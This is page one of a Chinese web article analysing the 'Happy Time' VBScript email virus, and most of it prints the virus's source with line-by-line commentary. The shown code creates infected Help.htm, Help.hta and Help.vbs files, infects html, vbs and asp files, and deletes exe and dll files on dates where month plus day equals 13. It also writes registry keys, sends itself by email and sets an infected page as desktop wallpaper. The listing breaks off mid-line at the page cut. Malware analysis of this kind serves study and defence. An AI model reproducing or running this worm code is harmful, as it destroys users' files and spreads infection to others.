首 页       用户登录  |  用户注册
设为首页
加入收藏
联系我们
按字母检索 A B C D E F G H I J K L M N O P Q R S T U V W X Y Z
按声母检索 A B C D E F G H J K L M N O P Q R S T W X Y Z 数字 符号
您的位置: 5VAR论文频道论文中心计算机论文计算机应用
   欢乐时光代码分析      ★★★ 【字体: 】  
欢乐时光代码分析
收集整理:佚名    来源:本站整理  时间:2009-01-10 11:55:57   点击数:[]    

[本篇论文由上帝论文网为您收集整理,上帝论文网http://paper.5var.com将为您整理更多优秀的免费论文,谢谢您的支持]“欢乐时光”其实就是利用了超文本邮件中可以夹带脚本语言的特点而棋高一招的。我们知道,邮件的格式可以有两种:纯文本和超文本。超文本(HTML)功能强大就不用多说了,它可以内嵌数种脚本语言,常见的就是VBScript和JavaScript。“欢乐时光”在超文本中夹带的就是VBS。从源代码中可以看得出来,该作者很可能是长期从事网络编程的高手,他对VBS的认识可谓精通,使用的许多技术细节都鲜为人知,尤其是利用了类型库(Type Library)成功地避开了安全审核的手段更是令人叹为观止。 
  下面让我们来看看它藏在快乐的外衣下的是什么吧! 

*************** 欢乐时光 ***************
Rem I am sorry! happy time
On Error Resume Next
Mload
’以上为病毒入口,并加上I am sorry! happy time的注释,以表明此文件已被感染过。
Sub mload()
On Error Resume Next
mPath = Grf()
Set Os = CreateObject("Scriptlet.TypeLib") 
Set Oh = CreateObject("Shell.Application")
’建立枚举对象,避开了安全审核
If IsHTML Then
’调用IsHtml函数,如果是Html,就小写…… 
mURL = LCase(document.Location)
If mPath = "" Then
Os.Reset 
Os.Path = "C:/Help.htm"
Os.Doc = Lhtml()
Os.Write()
’如果mPath为空,就在C盘下生成Help.htm
Ihtml = ""
’超文本的内容,并指向C:/Help.Htm
Call document.Body.insertAdjacentHTML("AfterBegin", Ihtml)
Else
If Iv(mPath, "Help.vbs") Then
setInterval "Rt()", 10000
Else
m = "hta"
If LCase(m) = Right(mURL, Len(m)) Then
id = setTimeout("mclose()", 1)
’设置超时条件
main
Else 
Os.Reset()
Os.Path = mPath & "/" & "Help.hta"
Os.Doc = Lhtml()
Os.write()
Iv mPath, "Help.hta"
’生成Help.hta
End If
End If
End If
Else
Main
’都不是,就执行main函数 
End If
End Sub
’******************************************************************
’以下为主函数,太长了!
Sub main()
On Error Resume Next
Set Of = CreateObject("Scripting.FileSystemObject")
’不用说,创建FileSystemObject对象啦
Set Od = CreateObject("Scripting.Dictionary")
’创建Dictionary对象, 用来保存数据键和项目对,它实际上是一个比较开放的数组
Od.Add "html", "1100" 
Od.Add "vbs", "0100"
Od.Add "htm", "1100"
Od.Add "asp", "0010"
’向Dictionary对象添加要感染的项目对
Ks = "HKEY_CURRENT_USER/Software/"
’使用变量以减少代码长度 
Ds = Grf()
Cs = Gsf()
If IsVbs Then
’如果是VBS 
If Of.FileExists("C:/help.htm") Then 
Of.DeleteFile ("C:/help.htm")
’如果c:/help.htm存在,就删掉,消灭遗留的痕迹
End If
Key = CInt(Month(Date) + Day(Date)) 
If Key = 13 Then 
’如果月与日之和为13(这也是它变种多的原因——将13改为其他数字即可)
Od.RemoveAll
Od.Add "exe", "0001"
Od.Add "dll", "0001"
’就清空Dictionary数组,并将exe、dll加入Dictionary 对象,以备删除之用
End If
com = Rg(Ks & "Help/Count") 
’读注册表中的HKEY_CURRENT_USER/Software/Help/Count键值
If com = "" Then
com = 1
’如果Count为0,就设为1
End If
Rw Ks & "Help/Count", com + 1 
’添加HKEY_CURRENT_USER/Software/Help/Count键值,值为2
f1 = Rg(Ks & "Help/FileName") 
’再读HKEY_CURRENT_USER/Software/Help/FileName键值
f2 = FNext(Of, Od, f1) 
’得到该文件的文件名
fext = GetExt(Of, Od, f2) 
’得到该文件扩展名的代号
Rw Ks & "Help/FileName", f2 
’添加键值
If IsDel(fext) Then 
’如果扩展名代号的第四个字符为1——即0001(exe、dll)
f3 = f2 
’储存文件名
f2 = FNext(Of, Od, f2) 
’得到文件的文件名?
Rw Ks & "Help/FileName", f2 
’写注册表
Of.DeleteFile f3 
’删除文件
Else
If LCase(WScript.ScriptFullname) <> LCase(f2) Then 
’如果不是集合中的文件
Fw Of, f2, fext
End If
End If
If (CInt(com) Mod 366) = 0 Then
If (CInt(Second(Time)) Mod 2) = 0 Then
’使用 Cint函数强制执行转换,并发邮件
Tsend
Else
adds = Og
Msend (adds)
End If
End If
wp = Rg("HKEY_CURRENT_USER/Control Panel/desktop/wallPaper")
If Rg(Ks & "Help/wallPaper") <> wp Or wp = "" Then
’比较桌面墙纸是否已改变 
If wp = "" Then
n1 = ""
n3 = Cs & "/Help.htm"
Else
mP = Of.GetFile(wp).ParentFolder
n1 = Of.GetFileName(wp)
n2 = Of.GetBaseName(wp)
n3 = Cs & "/" & n2 & ".htm"
End If
Set pfc = Of.CreateTextFile(n3, True)
mt = Sa("1100")
’创建超文本
pfc.Write "<" & "HTML><" & "body bgcolor=’#007f7f’ background=’" & n1 & "’><
" & "/Body><" & "/HTML>" & mt
’超文本的内容
pfc.Close
Rw Ks & "Help/wallPaper", n3
Rw "HKEY_CURRENT_USER/Control Panel/desktop/wallPaper", n3
’将带毒的超文本设置成活动桌面 
End If
Else
Set fc = Of.CreateTextFile(Ds & "/Help.vbs", True)
fc.Write Sa("0100")
’创建vbs文件
fc.Close
bf = Cs & "/Untitled.htm"
Set fc2 = Of.CreateTextFile(bf, True)
fc2.Write Lhtml
fc2.Close
’创建windows下的untitled.htm
oeid = Rg("HKEY_CURRENT_USER/Identities/Default User ID")
oe = "HKEY_CURRENT_USER/Identities/" & oeid & "/Software/Microsoft/Outlook E
xpress/5.0/Mail"
MSH = oe & "/Message Send HTML"
CUS = oe & "/Compose Us

[1] [2] [3] [4]  下一页


Tags:


文章转载请注明来源于:5VAR论文频道 http://paper.5var.com。本站内容整理自互联网,如有问题或合作请Email至:support@5var.com
或联系QQ37750965
提供人:佚名
  • 上一篇文章:商业银行管理信息系统开发方法浅探

  • 下一篇文章:缓冲区溢出攻击的分析及防范策略
  • 返回上一页】【打 印】【关闭窗口
    中查找“欢乐时光代码分析”更多相关内容 5VAR论文频道
    中查找“欢乐时光代码分析”更多相关内容 5VAR论文频道
    最新热点 最新推荐 相关新闻
  • ››Delphi 5 数据库应用中ODBC数据源的...
  • ››用Visual Basic 6.0实现自动化测试...
  • ››用JAVA制作ICQ
  • ››在IIS 4.0上配置虚拟主机实现虚拟I...
  • ››利用VB开发CAI课件
  • ››基于GP算法的知识发现系统
  • ››基于Client/Server 的课件系统的设...
  • ››WWW对大量数据查询的一种实现
  • ››基于PHP的Web数据库访问
  • ››Developer/2000中的Forms参数及应用...
  • ››欢乐时光代码分析
  •   文章-网友评论:(评论内容只代表网友观点,与本站立场无关!)
    关于本站 - 网站帮助 - 广告合作 - 下载声明 - 网站地图
    Copyright © 2006-2033 5Var.Com. All Rights Reserved .